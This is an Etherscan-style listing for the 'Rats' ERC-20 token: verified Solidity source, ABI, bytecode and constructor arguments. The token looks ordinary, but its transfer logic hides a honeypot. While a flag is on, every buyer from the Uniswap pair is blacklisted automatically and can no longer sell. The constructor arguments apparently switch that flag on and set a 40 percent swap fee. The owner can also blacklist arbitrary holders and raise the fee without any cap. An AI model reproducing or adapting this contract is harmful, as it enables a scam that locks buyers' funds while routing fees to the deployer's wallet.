ERC-20
Overview
Max Total Supply
1,000,000,000,000 Rats
Holders
138
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
800,000,000 RatsValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Rats
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-26 */ /** $$$$$$$\ $$$$$$\ $$$$$$$$\ $$$$$$\ $$ __$$\ $$ __$$\ \__$$ __| $$ __$$\ $$ | $$ | $$ / $$ | $$ | $$ / \__| $$$$$$$ | $$$$$$$$ | $$ | \$$$$$$\ $$ __$$< $$ __$$ | $$ | \____$$\ $$ | $$ | $$ | $$ | $$ | $$\ $$ | $$ | $$ | $$ | $$ | $$ | \$$$$$$ | \__| \__| \__| \__| \__| \______/ */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IUniswapV2RouterV2 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "!owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Rats is IERC20, Ownable{ string private _name = "Rats"; string private _symbol = "Rats"; uint8 private _decimals = 18; uint256 private _totalsupply =1000000000000 * 10 ** 18; uint256 public constant MAX = ~uint256(0); uint256 public swapFee; uint256 public swapTokensAtAmount; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public bot; address public fund; address public liqManage; address public UniswapV2Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public pair; bool inswap; bool botTime; constructor ( address _fund, address _liqManage, uint256 _swapFee, bool _botTime ){ fund = _fund; liqManage = _liqManage; swapFee = _swapFee; botTime = _botTime; _balances[liqManage] = _totalsupply; emit Transfer(address(0), liqManage, _totalsupply); (address token0, address token1) = sortTokens(WETH, address(this)); pair = address(uint160(uint(keccak256(abi.encodePacked( hex'ff', UniswapV2Factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' ))))); swapTokensAtAmount = _totalsupply / 5000; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalsupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private{ require(!bot[from],'BOT'); require(from != to,"Same"); require(amount >0 ,"Zero"); uint256 balance = _balances[from]; require(balance >= amount, "balance Not Enough"); _balances[from] = _balances[from] - amount; if(inswap){ _balances[to] +=amount; emit Transfer(from, to, amount); return; } if(balanceOf(pair) ==0 && from == liqManage && to == pair){ _balances[to] +=amount; emit Transfer(from, to, amount); return; } if(botTime && from == pair){ bot[to] =true; } uint256 transAmount = amount; uint256 feeAmount; if(from == pair || to == pair){ feeAmount = amount* swapFee/100; transAmount = amount - feeAmount; if(feeAmount>0){ _balances[address(this)] +=feeAmount; emit Transfer(from, address(this), feeAmount); } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if ( overMinTokenBalance && !inswap && to == pair ){ swapTofund(swapTokensAtAmount); } _balances[to] +=transAmount; emit Transfer(from, to, transAmount); return; } function swapTofund(uint256 tokenAmount) private{ require(!inswap,"inSwap"); inswap =true; uint256 swapAmount = tokenAmount; IERC20(address(this)).approve(UniswapV2Router02, swapAmount); address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; IUniswapV2RouterV2(UniswapV2Router02).swapExactTokensForETHSupportingFeeOnTransferTokens(swapAmount, 0, path, fund, block.timestamp+600); inswap =false; } function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'PancakeLibrary: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'PancakeLibrary: ZERO_ADDRESS'); } function excuteBot(address[] memory _addrList,bool _states) public onlyOwner{ for(uint256 i=0;i<_addrList.length;i++){ bot[_addrList[i]] = _states; } } function setSwapTokenAmounts(uint256 _amounts,uint256 _fee,bool _botTime) public onlyOwner{ swapTokensAtAmount = _amounts; swapFee = _fee; botTime = _botTime; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_fund","type":"address"},{"internalType":"address","name":"_liqManage","type":"address"},{"internalType":"uint256","name":"_swapFee","type":"uint256"},{"internalType":"bool","name":"_botTime","type":"bool"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UniswapV2Factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UniswapV2Router02","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addrList","type":"address[]"},{"internalType":"bool","name":"_states","type":"bool"}],"name":"excuteBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fund","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liqManage","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amounts","type":"uint256"},{"internalType":"uint256","name":"_fee","type":"uint256"},{"internalType":"bool","name":"_botTime","type":"bool"}],"name":"setSwapTokenAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60c060405260046080908152635261747360e01b60a052600190620000259082620004c2565b506040805180820190915260048152635261747360e01b6020820152600290620000509082620004c2565b506003805460ff191660121790556c0c9f2c9cd04674edea40000000600455600c80546001600160a01b0319908116735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f17909155600d80548216737a250d5630b4cf539739df2c5dacb4c659f2488d179055600e805490911673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2179055348015620000e257600080fd5b50604051620017f9380380620017f98339810160408190526200010591620005ab565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a80546001600160a01b038087166001600160a01b031992831617909255600b80548684169216821781556005859055600f8054851515600160a81b0260ff60a81b199091161790556004546000928352600760205260408084208290559154915191909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620001dd91815260200190565b60405180910390a3600e54600090819062000202906001600160a01b0316306200031e565b600c546040516001600160601b0319606085811b8216602084015284901b1660348201529294509092506001600160a01b03169060480160405160208183030381529060405280519060200120604051602001620002c59291907fff00000000000000000000000000000000000000000000000000000000000000815260609290921b6001600160601b031916600183015260158201527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f603582015260550190565b60408051808303601f190181529190528051602090910120600f80546001600160a01b0319166001600160a01b039092169190911790556004546200030e906113889062000605565b6006555062000628945050505050565b600080826001600160a01b0316846001600160a01b031603620003945760405162461bcd60e51b815260206004820152602360248201527f50616e63616b654c6962726172793a204944454e544943414c5f41444452455360448201526253455360e81b60648201526084015b60405180910390fd5b826001600160a01b0316846001600160a01b031610620003b6578284620003b9565b83835b90925090506001600160a01b038216620004165760405162461bcd60e51b815260206004820152601c60248201527f50616e63616b654c6962726172793a205a45524f5f414444524553530000000060448201526064016200038b565b9250929050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200044857607f821691505b6020821081036200046957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004bd57600081815260208120601f850160051c81016020861015620004985750805b601f850160051c820191505b81811015620004b957828155600101620004a4565b5050505b505050565b81516001600160401b03811115620004de57620004de6200041d565b620004f681620004ef845462000433565b846200046f565b602080601f8311600181146200052e5760008415620005155750858301515b600019600386901b1c1916600185901b178555620004b9565b600085815260208120601f198616915b828110156200055f578886015182559484019460019091019084016200053e565b50858210156200057e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80516001600160a01b0381168114620005a657600080fd5b919050565b60008060008060808587031215620005c257600080fd5b620005cd856200058e565b9350620005dd602086016200058e565b92506040850151915060608501518015158114620005fa57600080fd5b939692955090935050565b6000826200062357634e487b7160e01b600052601260045260246000fd5b500490565b6111c180620006386000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c806378cc70b2116100c3578063ad5c46481161007c578063ad5c4648146102ed578063b60d428814610300578063d49d518114610313578063dd62ed3e1461031c578063e2f4560514610355578063f2fde38b1461035e57600080fd5b806378cc70b2146102885780638a0bb8791461029b5780638da5cb5b146102ae57806395d89b41146102bf578063a8aa1b31146102c7578063a9059cbb146102da57600080fd5b8063313ce56711610115578063313ce567146101eb578063353f23451461020057806354cf2aeb1461022357806355cb26661461022c57806370a0823114610257578063715018a61461028057600080fd5b806306fdde031461015d578063095ea7b31461017b57806318160ddd1461019e57806318a28908146101b057806323b872dd146101c557806323e77c90146101d8575b600080fd5b610165610371565b6040516101729190610d98565b60405180910390f35b61018e610189366004610e02565b610403565b6040519015158152602001610172565b6004545b604051908152602001610172565b6101c36101be366004610e5e565b61041a565b005b61018e6101d3366004610f35565b6104b9565b6101c36101e6366004610f71565b610550565b60035460405160ff9091168152602001610172565b61018e61020e366004610faa565b60096020526000908152604090205460ff1681565b6101a260055481565b600d5461023f906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b6101a2610265366004610faa565b6001600160a01b031660009081526007602052604090205490565b6101c36105a1565b600c5461023f906001600160a01b031681565b600b5461023f906001600160a01b031681565b6000546001600160a01b031661023f565b610165610615565b600f5461023f906001600160a01b031681565b61018e6102e8366004610e02565b610624565b600e5461023f906001600160a01b031681565b600a5461023f906001600160a01b031681565b6101a260001981565b6101a261032a366004610fcc565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6101a260065481565b6101c361036c366004610faa565b610631565b60606001805461038090610fff565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90610fff565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b60006104103384846106f7565b5060015b92915050565b6000546001600160a01b0316331461044d5760405162461bcd60e51b815260040161044490611039565b60405180910390fd5b60005b82518110156104b457816009600085848151811061047057610470611059565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104ac81611085565b915050610450565b505050565b60006104c6848484610758565b6001600160a01b038416600090815260086020908152604080832033845290915290205460001914610546576001600160a01b038416600090815260086020908152604080832033845290915290205461052190839061109e565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461057a5760405162461bcd60e51b815260040161044490611039565b600692909255600555600f8054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b031633146105cb5760405162461bcd60e51b815260040161044490611039565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606002805461038090610fff565b6000610410338484610758565b6000546001600160a01b0316331461065b5760405162461bcd60e51b815260040161044490611039565b6001600160a01b03811661069c5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610444565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526009602052604090205460ff16156107a75760405162461bcd60e51b81526020600482015260036024820152621093d560ea1b6044820152606401610444565b816001600160a01b0316836001600160a01b0316036107f15760405162461bcd60e51b81526004016104449060208082526004908201526353616d6560e01b604082015260600190565b6000811161082a5760405162461bcd60e51b8152600401610444906020808252600490820152635a65726f60e01b604082015260600190565b6001600160a01b038316600090815260076020526040902054818110156108885760405162461bcd60e51b81526020600482015260126024820152710c4c2d8c2dcc6ca409cdee8408adcdeeaced60731b6044820152606401610444565b6001600160a01b0384166000908152600760205260409020546108ac90839061109e565b6001600160a01b038516600090815260076020526040902055600f54600160a01b900460ff1615610959576001600160a01b038316600090815260076020526040812080548492906108ff9084906110b1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161094b91815260200190565b60405180910390a350505050565b600f546001600160a01b031660009081526007602052604090205415801561098e5750600b546001600160a01b038581169116145b80156109a75750600f546001600160a01b038481169116145b156109d4576001600160a01b038316600090815260076020526040812080548492906108ff9084906110b1565b600f54600160a81b900460ff1680156109fa5750600f546001600160a01b038581169116145b15610a23576001600160a01b0383166000908152600960205260409020805460ff191660011790555b600f5482906000906001600160a01b0387811691161480610a515750600f546001600160a01b038681169116145b15610ae957606460055485610a6691906110c4565b610a7091906110db565b9050610a7c818561109e565b91508015610ae9573060009081526007602052604081208054839290610aa39084906110b1565b909155505060405181815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b3060009081526007602052604090205460065481108015908190610b175750600f54600160a01b900460ff16155b8015610b305750600f546001600160a01b038881169116145b15610b4057610b40600654610bc6565b6001600160a01b03871660009081526007602052604081208054869290610b689084906110b1565b92505081905550866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610bb491815260200190565b60405180910390a35050505050505050565b600f54600160a01b900460ff1615610c095760405162461bcd60e51b81526020600482015260066024820152650696e537761760d41b6044820152606401610444565b600f805460ff60a01b1916600160a01b179055600d5460405163095ea7b360e01b81526001600160a01b039091166004820152602481018290528190309063095ea7b3906044016020604051808303816000875af1158015610c6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9391906110fd565b506040805160028082526060820183526000926020830190803683370190505090503081600081518110610cc957610cc9611059565b6001600160a01b039283166020918202929092010152600e54825191169082906001908110610cfa57610cfa611059565b6001600160a01b039283166020918202929092010152600d54600a549082169163791ac947918591600091869116610d34426102586110b1565b6040518663ffffffff1660e01b8152600401610d5495949392919061111a565b600060405180830381600087803b158015610d6e57600080fd5b505af1158015610d82573d6000803e3d6000fd5b5050600f805460ff60a01b191690555050505050565b600060208083528351808285015260005b81811015610dc557858101830151858201604001528201610da9565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610dfd57600080fd5b919050565b60008060408385031215610e1557600080fd5b610e1e83610de6565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b8015158114610e5057600080fd5b50565b8035610dfd81610e42565b60008060408385031215610e7157600080fd5b823567ffffffffffffffff80821115610e8957600080fd5b818501915085601f830112610e9d57600080fd5b8135602082821115610eb157610eb1610e2c565b8160051b604051601f19603f83011681018181108682111715610ed657610ed6610e2c565b604052928352818301935084810182019289841115610ef457600080fd5b948201945b83861015610f1957610f0a86610de6565b85529482019493820193610ef9565b9650610f289050878201610e53565b9450505050509250929050565b600080600060608486031215610f4a57600080fd5b610f5384610de6565b9250610f6160208501610de6565b9150604084013590509250925092565b600080600060608486031215610f8657600080fd5b83359250602084013591506040840135610f9f81610e42565b809150509250925092565b600060208284031215610fbc57600080fd5b610fc582610de6565b9392505050565b60008060408385031215610fdf57600080fd5b610fe883610de6565b9150610ff660208401610de6565b90509250929050565b600181811c9082168061101357607f821691505b60208210810361103357634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016110975761109761106f565b5060010190565b818103818111156104145761041461106f565b808201808211156104145761041461106f565b80820281158282048414176104145761041461106f565b6000826110f857634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561110f57600080fd5b8151610fc581610e42565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561116a5784516001600160a01b031683529383019391830191600101611145565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f664fe90126a6f9205082d90ce8c49b683eabd3bf1409dbda32698126dc41a6d64736f6c634300081300330000000000000000000000000c5afe8b94eb98a39fe7a33a7a0a86b7fa4b66db000000000000000000000000b1dffb8cb81822cf3b7a5acad45de552e7ac5b1800000000000000000000000000000000000000000000000000000000000000280000000000000000000000000000000000000000000000000000000000000001
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806378cc70b2116100c3578063ad5c46481161007c578063ad5c4648146102ed578063b60d428814610300578063d49d518114610313578063dd62ed3e1461031c578063e2f4560514610355578063f2fde38b1461035e57600080fd5b806378cc70b2146102885780638a0bb8791461029b5780638da5cb5b146102ae57806395d89b41146102bf578063a8aa1b31146102c7578063a9059cbb146102da57600080fd5b8063313ce56711610115578063313ce567146101eb578063353f23451461020057806354cf2aeb1461022357806355cb26661461022c57806370a0823114610257578063715018a61461028057600080fd5b806306fdde031461015d578063095ea7b31461017b57806318160ddd1461019e57806318a28908146101b057806323b872dd146101c557806323e77c90146101d8575b600080fd5b610165610371565b6040516101729190610d98565b60405180910390f35b61018e610189366004610e02565b610403565b6040519015158152602001610172565b6004545b604051908152602001610172565b6101c36101be366004610e5e565b61041a565b005b61018e6101d3366004610f35565b6104b9565b6101c36101e6366004610f71565b610550565b60035460405160ff9091168152602001610172565b61018e61020e366004610faa565b60096020526000908152604090205460ff1681565b6101a260055481565b600d5461023f906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b6101a2610265366004610faa565b6001600160a01b031660009081526007602052604090205490565b6101c36105a1565b600c5461023f906001600160a01b031681565b600b5461023f906001600160a01b031681565b6000546001600160a01b031661023f565b610165610615565b600f5461023f906001600160a01b031681565b61018e6102e8366004610e02565b610624565b600e5461023f906001600160a01b031681565b600a5461023f906001600160a01b031681565b6101a260001981565b6101a261032a366004610fcc565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6101a260065481565b6101c361036c366004610faa565b610631565b60606001805461038090610fff565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90610fff565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b60006104103384846106f7565b5060015b92915050565b6000546001600160a01b0316331461044d5760405162461bcd60e51b815260040161044490611039565b60405180910390fd5b60005b82518110156104b457816009600085848151811061047057610470611059565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104ac81611085565b915050610450565b505050565b60006104c6848484610758565b6001600160a01b038416600090815260086020908152604080832033845290915290205460001914610546576001600160a01b038416600090815260086020908152604080832033845290915290205461052190839061109e565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461057a5760405162461bcd60e51b815260040161044490611039565b600692909255600555600f8054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b031633146105cb5760405162461bcd60e51b815260040161044490611039565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606002805461038090610fff565b6000610410338484610758565b6000546001600160a01b0316331461065b5760405162461bcd60e51b815260040161044490611039565b6001600160a01b03811661069c5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610444565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526009602052604090205460ff16156107a75760405162461bcd60e51b81526020600482015260036024820152621093d560ea1b6044820152606401610444565b816001600160a01b0316836001600160a01b0316036107f15760405162461bcd60e51b81526004016104449060208082526004908201526353616d6560e01b604082015260600190565b6000811161082a5760405162461bcd60e51b8152600401610444906020808252600490820152635a65726f60e01b604082015260600190565b6001600160a01b038316600090815260076020526040902054818110156108885760405162461bcd60e51b81526020600482015260126024820152710c4c2d8c2dcc6ca409cdee8408adcdeeaced60731b6044820152606401610444565b6001600160a01b0384166000908152600760205260409020546108ac90839061109e565b6001600160a01b038516600090815260076020526040902055600f54600160a01b900460ff1615610959576001600160a01b038316600090815260076020526040812080548492906108ff9084906110b1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161094b91815260200190565b60405180910390a350505050565b600f546001600160a01b031660009081526007602052604090205415801561098e5750600b546001600160a01b038581169116145b80156109a75750600f546001600160a01b038481169116145b156109d4576001600160a01b038316600090815260076020526040812080548492906108ff9084906110b1565b600f54600160a81b900460ff1680156109fa5750600f546001600160a01b038581169116145b15610a23576001600160a01b0383166000908152600960205260409020805460ff191660011790555b600f5482906000906001600160a01b0387811691161480610a515750600f546001600160a01b038681169116145b15610ae957606460055485610a6691906110c4565b610a7091906110db565b9050610a7c818561109e565b91508015610ae9573060009081526007602052604081208054839290610aa39084906110b1565b909155505060405181815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b3060009081526007602052604090205460065481108015908190610b175750600f54600160a01b900460ff16155b8015610b305750600f546001600160a01b038881169116145b15610b4057610b40600654610bc6565b6001600160a01b03871660009081526007602052604081208054869290610b689084906110b1565b92505081905550866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610bb491815260200190565b60405180910390a35050505050505050565b600f54600160a01b900460ff1615610c095760405162461bcd60e51b81526020600482015260066024820152650696e537761760d41b6044820152606401610444565b600f805460ff60a01b1916600160a01b179055600d5460405163095ea7b360e01b81526001600160a01b039091166004820152602481018290528190309063095ea7b3906044016020604051808303816000875af1158015610c6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9391906110fd565b506040805160028082526060820183526000926020830190803683370190505090503081600081518110610cc957610cc9611059565b6001600160a01b039283166020918202929092010152600e54825191169082906001908110610cfa57610cfa611059565b6001600160a01b039283166020918202929092010152600d54600a549082169163791ac947918591600091869116610d34426102586110b1565b6040518663ffffffff1660e01b8152600401610d5495949392919061111a565b600060405180830381600087803b158015610d6e57600080fd5b505af1158015610d82573d6000803e3d6000fd5b5050600f805460ff60a01b191690555050505050565b600060208083528351808285015260005b81811015610dc557858101830151858201604001528201610da9565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610dfd57600080fd5b919050565b60008060408385031215610e1557600080fd5b610e1e83610de6565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b8015158114610e5057600080fd5b50565b8035610dfd81610e42565b60008060408385031215610e7157600080fd5b823567ffffffffffffffff80821115610e8957600080fd5b818501915085601f830112610e9d57600080fd5b8135602082821115610eb157610eb1610e2c565b8160051b604051601f19603f83011681018181108682111715610ed657610ed6610e2c565b604052928352818301935084810182019289841115610ef457600080fd5b948201945b83861015610f1957610f0a86610de6565b85529482019493820193610ef9565b9650610f289050878201610e53565b9450505050509250929050565b600080600060608486031215610f4a57600080fd5b610f5384610de6565b9250610f6160208501610de6565b9150604084013590509250925092565b600080600060608486031215610f8657600080fd5b83359250602084013591506040840135610f9f81610e42565b809150509250925092565b600060208284031215610fbc57600080fd5b610fc582610de6565b9392505050565b60008060408385031215610fdf57600080fd5b610fe883610de6565b9150610ff660208401610de6565b90509250929050565b600181811c9082168061101357607f821691505b60208210810361103357634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016110975761109761106f565b5060010190565b818103818111156104145761041461106f565b808201808211156104145761041461106f565b80820281158282048414176104145761041461106f565b6000826110f857634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561110f57600080fd5b8151610fc581610e42565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561116a5784516001600160a01b031683529383019391830191600101611145565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f664fe90126a6f9205082d90ce8c49b683eabd3bf1409dbda32698126dc41a6d64736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
